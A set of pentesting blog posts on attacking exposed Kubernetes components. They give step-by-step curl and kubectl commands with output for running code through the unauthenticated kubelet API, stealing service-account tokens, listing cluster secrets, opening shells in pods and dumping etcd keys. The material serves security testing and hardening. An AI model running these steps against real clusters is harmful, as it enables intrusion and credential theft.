Kubernetes: unauthenticated kublet API (10250) token theft & kubectl access & execkube-hunter output to get us started: do a curl -s https://k8-node:10250/runningpods/ to get a list of running podsWith that data, you can craft your post request to exec within a pod so we can poke around. Example request:curl -k -XPOST “https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /"Output:total 35264drwxr-xr-x    1 root     root          4096 Nov  9 16:27 .drwxr-xr-x    1 root     root          4096 Nov  9 16:27 ..-rwxr-xr-x    1 root     root             0 Nov  9 16:27 .dockerenvdrwxr-xr-x    2 root     root          4096 Nov  9 16:27 bindrwxr-xr-x    5 root     root           380 Nov  9 16:27 dev-rwxr-xr-x    1 root     root      36047205 Apr 13  2018 dnsmasq-nannydrwxr-xr-x    1 root     root          4096 Nov  9 16:27 etcdrwxr-xr-x    2 root     root          4096 Jan  9  2018 homedrwxr-xr-x    5 root     root          4096 Nov  9 16:27 libdrwxr-xr-x    5 root     root          4096 Nov  9 16:27 mediadrwxr-xr-x    2 root     root          4096 Jan  9  2018 mntdr-xr-xr-x  134 root     root             0 Nov  9 16:27 procdrwx——    2 root     root          4096 Jan  9  2018 rootdrwxr-xr-x    2 root     root          4096 Jan  9  2018 rundrwxr-xr-x    2 root     root          4096 Nov  9 16:27 sbindrwxr-xr-x    2 root     root          4096 Jan  9  2018 srvdr-xr-xr-x   12 root     root             0 Dec 19 19:06 sysdrwxrwxrwt    1 root     root          4096 Nov  9 17:00 tmpdrwxr-xr-x    7 root     root          4096 Nov  9 16:27 usrdrwxr-xr-x    1 root     root          4096 Nov  9 16:27 varCheck the env and see if the kublet tokens are in the environment variables. depending on the cloud provider or hosting provider they are sometimes right there. Otherwise we need to retrieve them from:1. the mounted folder2. the cloud metadata urlCheck the env with the following command:curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=env"We are looking for the KUBLET_CERT, KUBLET_KEY, & CA_CERT environment variables.We are also looking for the kubernetes API server. This is most likely NOT the host you are messing with on 10250. We are looking for something like:KUBERNETES_PORT=tcp://10.10.10.10:443orKUBERNETES_MASTER_NAME: 10.11.12.13:443Once we get the kubernetes tokens or keys we need to talk to the API server to use them. The kublet (10250) wont know what to do with them.  This may be (if we are lucky) another public IP or a 10. IP.  If it’s a 10. IP we need to download kubectl to the pod.Assuming it’s not in the environment variables let’s look and see if they are there in the mounted secretscurl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=mount"sample output truncated:cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)/dev/sda1 on /dev/termination-log type ext4 (rw,relatime,commit=30,data=ordered)/dev/sda1 on /etc/k8s/dns/dnsmasq-nanny type ext4 (rw,relatime,commit=30,data=ordered)tmpfs on /var/run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime)/dev/sda1 on /etc/resolv.conf type ext4 (rw,nosuid,nodev,relatime,commit=30,data=ordered)/dev/sda1 on /etc/hostname type ext4 (rw,nosuid,nodev,relatime,commit=30,data=ordered)/dev/sda1 on /etc/hosts type ext4 (rw,relatime,commit=30,data=ordered)shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)We can then cat out the ca.cert, namespace, and tokencurl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /var/run/secrets/kubernetes.io/serviceaccount"Output:total 4drwxrwxrwt    3 root     root         140 Nov  9 16:27 .drwxr-xr-x    3 root     root        4.0K Nov  9 16:27 ..lrwxrwxrwx    1 root     root          13 Nov  9 16:27 ca.crt -> ..data/ca.crtlrwxrwxrwx    1 root     root          16 Nov  9 16:27 namespace -> ..data/namespacelrwxrwxrwx    1 root     root          12 Nov  9 16:27 token -> ..data/tokenand then:curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"output:eyJhbGciOiJSUzI1NiI—SNIP—Also grab the ca.crt :-)With the token, ca.crt and api server IP address we can issue commands with kubectl.$ kubectl –server=https://1.2.3.4 –certificate-authority=ca.crt –token=eyJhbGciOiJSUzI1NiI—SNIP— get pods –all-namespacesOutput:NAMESPACE     NAME                                                            READY     STATUS    RESTARTS   AGEkube-system   event-exporter-v0.1.9-5c-SNIP                          2/2       Running   2          120dkube-system   fluentd-cloud-logging-gke-eeme-api-default-pool   1/1       Running   1          2ykube-system   heapster-v1.5.2-5-SNIP                              3/3       Running   0          27dkube-system   kube-dns-5b8-SNIP                                       4/4       Running   0          61dkube-system   kube-dns-autoscaler-2-SNIP                             1/1       Running   1          252dkube-system   kube-proxy-gke-eeme-api-default-pool              1/1       Running   1          2y kube-system   kubernetes-dashboard-7-SNIP                           1/1       Running   0          27dkube-system   l7-default-backend-10-SNIP                            1/1       Running   0          27dkube-system   metrics-server-v0.2.1-7-SNIP                         2/2       Running   0          120dat this point you can pull secrets or exec into any available pods$ kubectl –server=https://1.2.3.4 –certificate-authority=ca.crt –token=eyJhbGciOiJSUzI1NiI—SNIP— get secrets –all-namespacesto get a shell via kubectl$ kubectl –server=https://1.2.3.4 –certificate-authority=ca.crt –token=eyJhbGciOiJSUzI1NiI—SNIP— get pods –namespace=kube-systemNAME                                                            READY     STATUS    RESTARTS   AGEevent-exporter-v0.1.9-5-SNIP               2/2       Running   2          120d–SNIP–metrics-server-v0.2.1-7f8ee58c8f-ab13f     2/2       Running   0          120d$ kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f –namespace=kube-system–server=https://1.2.3.4  –certificate-authority=ca.crt –token=eyJhbGciOiJSUzI1NiI—SNIP— /bin/sh/ # ls -lahtotal 40220drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 .drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 ..-rwxr-xr-x    1 root     root           0 Sep 11 07:25 .dockerenvdrwxr-xr-x    3 root     root        4.0K Sep 11 07:25 apiserver.local.configdrwxr-xr-x    2 root     root       12.0K Sep 11 07:24 bindrwxr-xr-x    5 root     root         380 Sep 11 07:25 devdrwxr-xr-x    1 root     root        4.0K Sep 11 07:25 etcdrwxr-xr-x    2 nobody   nogroup     4.0K Nov  1  2017 home-rwxr-xr-x    2 root     root       39.2M Dec 20  2017 metrics-serverdr-xr-xr-x  135 root     root           0 Sep 11 07:25 procdrwxr-xr-x    1 root     root        4.0K Dec 19 21:33 rootdr-xr-xr-x   12 root     root           0 Dec 19 19:06 sysdrwxrwxrwt    1 root     root        4.0K Oct 18 13:57 tmpdrwxr-xr-x    3 root     root        4.0K Sep 11 07:24 usrdrwxr-xr-x    1 root     root        4.0K Sep 11 07:25 varFor completeness if you got the keys via the environment variables the kubectl command would be something like this:kubectl –server=https://1.2.3.4 –certificate-authority=ca.crt –client-key=kublet.key –client-certificate=kublet.crt get pods –all-namespaces

Link: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-unauth-kublet-api-10250_16.html

Other Kubernetes portsWhat are some of the visible ports used in Kubernetes?44134/tcp – Helmtiller, weave, calico10250/tcp – kubelet (kublet exploit)No authN, completely open/pods/runningpods/containerLogs10255/tcp – kublet port (read-only)/stats/metrics/pods4194/tcp – cAdvisor2379/tcp – etcd (see it on other ports though)Etcd holds all the configsConfig storage30000 – dashboard443/6443 – api

Link: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-list-of-ports.html

How to get the info that kube-hunter reports for open /containerLogs endpointVulnerabilities+—————+————-+——————+———————-+—————-+| LOCATION       CATEGORY     | VULNERABILITY    | DESCRIPTION          | EVIDENCE       |+—————+————-+——————+———————-+—————-++—————-+————+——————+———————-+—————-+| 1.2.3.4:10250 | Information | Exposed Container| Output logs from a   |                ||               | Disclosure  | Logs             | running container    |                ||               |             |                  | are using the        |                ||               |             |                  | exposed              |                ||               |             |                  | /containerLogs       |                ||               |             |                  | endpoint             |                |+—————+————-+——————+———————-+—————-+First step, grab the output from /runningpods/ example below:You’ll need the namespace, pod name and container name.Thus given the below runningpods output:{“metadata":{"name":"monitoring-influxdb-grafana-v4-6679c46745-zhvjw","namespace":"kube-system","uid":"0d22cdad-06e5-11e9-a7f3-6ac885fbc092","creationTimestamp":null},"spec":{"containers":[{"name":"grafana","image":"sha256:8cb3de219af7bdf0b3ae66439aecccf94cebabb230171fa4b24d66d4a786f4f7","resources":{}},{"name":"influxdb","image":"sha256:577260d221dbb1be2d83447402d0d7c5e15501a89b0e2cc1961f0b24ed56c77c","resources":{}}]},turns into:https://1.2.3.4:10250/containerLogs/kube-system/monitoring-influxdb-grafana-v4-6679c46745-zhvjw/grafanaandhttps://1.2.3.4:10250/containerLogs/kube-system/monitoring-influxdb-grafana-v4-6679c46745-zhvjw/influxdb

Link: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-kubelet-api-containerlogs.html

Tesla was famously hacked for leaving this open and it’s pretty rare to find it exposed externally now but useful to know what it is and what you can do with it.Usually found on port 30000kube-hunter finding for it:Vulnerabilities+———————–+—————+———————-+———————-+——————+| LOCATION              | CATEGORY      | VULNERABILITY        | DESCRIPTION          | EVIDENCE         |+———————–+—————+———————-+———————-+——————+| 1.2.3.4:30000         | Remote Code   | Dashboard Exposed    | All oprations on the | nodes: pach-okta ||                       | Execution     |                      | cluster are exposed  |                  |+———————–+—————+———————-+———————-+——————+Why do you care?  It has access to all pods and secrets within the cluster. So rather than using command line tools to get secrets or run code you can just do it in a web browser.Screenshots of what it looks like:viewing secretsutilizationlogsshells

Link: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-kubernetes-dashboard.html

I mentioned in the master post one a few auditing tools that exist. Kube-Hunter is one that is pretty ok.  You can use this to quickly scan for multiple kubernetes issues.Example run:$ ./kube-hunter.pyChoose one of the options below:1. Remote scanning      (scans one or more specific IPs or DNS names)2. Subnet scanning      (scans subnets on all local network interfaces)3. IP range scanning    (scans a given IP range)Your choice: 1Remotes (separated by a ‘,’): 1.2.3.4~ Started~ Discovering Open Kubernetes Services…|| Etcd:|   type: open service|   service: Etcd|_  host: 1.2.3.4:2379|| Etcd Remote version disclosure:|   type: vulnerability|   host: 1.2.3.4:2379|   description:|     Remote version disclosure might give an|_    attacker a valuable data to attack a cluster|| Etcd is accessible using insecure connection (HTTP):|   type: vulnerability|   host: 1.2.3.4:2379|   description:|     Etcd is accessible using HTTP (without|     authorization and authentication), it would allow a|     potential attacker to|     gain access to|_    the etcd|| Etcd Remote Read Access Event:|   type: vulnerability|   host: 1.2.3.4:2379|   description:|     Remote read access might expose to an|_    attacker cluster’s possible exploits, secrets and more.———-Nodes+————-+—————-+| TYPE        | LOCATION       |+————-+—————-+| Node/Master | 1.2.3.4        |+————-+—————-+Detected Services+———+———————+———————-+| SERVICE | LOCATION            | DESCRIPTION          |+———+———————+———————-+| Etcd    | 1.2.3.4:2379        | Etcd is a DB that    ||         |                     | stores cluster’s     ||         |                     | data, it contains    ||         |                     | configuration and    ||         |                     | current state        ||         |                     | information, and     ||         |                     | might contain        ||         |                     | secrets              |+———+———————+———————-+Vulnerabilities+————–+——————+———————-+———————+————————–+| LOCATION     | CATEGORY         | VULNERABILITY        | DESCRIPTION         | EVIDENCE                 |+————–+——————+———————-+———————+————————–+| 1.2.3.4:2379 | Unauthenticated  | Etcd is accessible   | Etcd is accessible  | {“etcdserver":"3.3.9     ||              | Access           | using insecure       | using HTTP (without | ","etcdcluster":"3.3     ||              |                  | connection (HTTP)    | authorization and   | …                      ||              |                  |                      | authentication), it |                          ||              |                  |                      | would allow a       |                          ||              |                  |                      | potential attacker  |                          ||              |                  |                      | to                  |                          ||              |                  |                      |     gain access to  |                          ||              |                  |                      | the etcd            |                          |+———————+———————-+———————-+———————-+————–+| 1.2.3.4:2379 | Information      | Etcd Remote version  | Remote version      | {"etcdserver":"3.3.9     ||              | Disclosure       | disclosure           | disclosure might    | ","etcdcluster":"3.3     ||              |                  |                      | give an attacker a  | …                      ||              |                  |                      | valuable data to    |                          ||              |                  |                      | attack a cluster    |                          |+———————+———————-+———————-+———————-+————–+| 1.2.3.4:2379 | Access Risk      | Etcd Remote Read     | Remote read access  | {"action":"get","nod     ||              |                  | Access Event         | might expose to an  | e":{"dir":true,"node     ||              |                  |                      | attacker cluster’s  | …                      ||              |                  |                      | possible exploits,  |                          ||              |                  |                      | secrets and more.   |                          |+————–+——————+———————-+———————+————————–+

Link: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-kube-hunterpy-etcd.html

Quick post on Kubernetes and open etcd (port 2379)”etcd is a distributed key-value store. In fact, etcd is the primary datastore of Kubernetes; storing and replicating all Kubernetes cluster state. As a critical component of a Kubernetes cluster having a reliable automated approach to its configuration and management is imperative."-from: https://coreos.com/blog/introducing-the-etcd-operator.html What this means in english is that etcd stores the current state of the Kubernetes cluster usually including the kubernetes tokens and passwords.  If you check out the following references you can get a sense for the pain level that could potentially be involved. At minimum you can get network info or running pods and at best credentials.refs: https://techbeacon.com/hackers-guide-kubernetes-security https://elweb.co/the-security-footgun-in-etcd/https://raesene.github.io/blog/2017/05/01/Kubernetes-Security-etcd/the second link talks extensively around types of info the found when they hit all the shodan endpoints for 2379 and did some analysis on the results.If you manage to find open etcd the easiest way to check for creds is to just do a curl request for:GET http://ip_address:2379/v2/keys/?recursive=trueExample Loot – Usually it’s boring stuff like this:But occasionally you’ll get more interesting things like:or more fun things like kublet tokens:

Link: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-open-etcd.html

“cAdvisor (Container Advisor) provides container users an understanding of the resource usage and performance characteristics of their running containers. It is a running daemon that collects, aggregates, processes, and exports information about running containers."runs on port 4194Links:https://kubernetes.io/docs/tasks/debug-application-cluster/resource-usage-monitoring/https://raesene.github.io/blog/2016/10/14/Kubernetes-Attack-Surface-cAdvisor/What do you get?information disclosure about metrics of the containers.Example request to hit the API and dump data:http://1.2.3.4:4194/api/v2.0/spec?recursive=trueScreenshots

Link: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-cadvisor.html

I have a few Kubernetes posts queued up and will make this the master post to index and give references for the topic. If i’m missing blog posts or useful resources ping me here or twitter.Talks you should watch if you are interested in Kubernetes:https://www.youtube.com/watch?v=vTgQLzeBfRUhttps://github.com/bgeesaman/https://github.com/bgeesaman/hhkbe [demos for the talk above]https://schd.ws/hosted_files/kccncna17/d8/Hacking%20and%20Hardening%20Kubernetes%20By%20Example%20v2.pdf [side deck]https://www.youtube.com/watch?v=1k-GIDXgfLwhttps://www.youtube.com/watch?v=dxKpCO2dAy8https://www.youtube.com/watch?v=ohTq0no0ZVUBlog Posts by others:https://techbeacon.com/hackers-guide-kubernetes-securityhttps://elweb.co/the-security-footgun-in-etcd/https://www.4armed.com/blog/hacking-kubelet-on-gke/https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/https://www.4armed.com/blog/hacking-digitalocean-kubernetes/https://github.com/freach/kubernetes-security-best-practicehttps://neuvector.com/container-security/kubernetes-security-guide/https://medium.com/@pczarkowski/the-kubernetes-api-call-is-coming-from-inside-the-cluster-f1a115bd2066https://blog.intothesymmetry.com/2018/12/persistent-xsrf-on-kubernetes-dashboard.htmlhttps://raesene.github.io/blog/2016/10/14/Kubernetes-Attack-Surface-cAdvisor/https://raesene.github.io/blog/2017/05/01/Kubernetes-Security-etcd/Auditing toolshttps://github.com/Shopify/kubeaudithttps://github.com/aquasecurity/kube-benchhttps://github.com/aquasecurity/kube-hunterCG Posts:Open Etcd: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-open-etcd.htmlEtcd with kube-hunter: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-kube-hunterpy-etcd.htmlcAdvisor: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-cadvisor.htmlKubernetes dashboardsKublet 10255Kublet 10250     – Container Logs     – Getting shellzCloud Metadata Urls and Kubernetes-I’ll update as they get posted

Link: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-master-post.html